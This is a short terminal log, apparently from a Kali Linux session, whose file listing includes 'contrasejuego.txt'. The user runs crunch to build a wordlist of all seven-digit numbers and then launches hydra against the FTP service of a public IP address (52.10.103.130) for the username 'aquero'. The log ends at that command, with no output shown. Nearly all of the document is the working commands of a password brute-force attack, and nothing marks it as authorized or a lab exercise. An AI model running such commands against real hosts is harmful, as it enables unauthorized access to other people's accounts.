contrasejuego.txt  Documents  Music     Public     Videos
Desktop            Downloads  Pictures  Templates
                                                                             
┌──(kali㉿kali)-[~]
└─$ cd Desktop                              
                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ ls -l
total 0
                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch                                  
crunch version 3.6

Crunch can create a wordlist based on criteria you specify.  The output from crunch can be sent to the screen, file, or to another program.

Usage: crunch <min> <max> [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.
                                                                             
┌──(kali㉿kali)-[~/Desktop]
└─$ crunch 7 7 0123456789 >contra.txt                       
Crunch will now generate the following amount of data: 80000000 bytes
76 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000000 
                                                                             
┌──(kali㉿kali)-[~/Desktop]

                                                                            
┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l aquero -P contra.txt ftp://52.10.103.130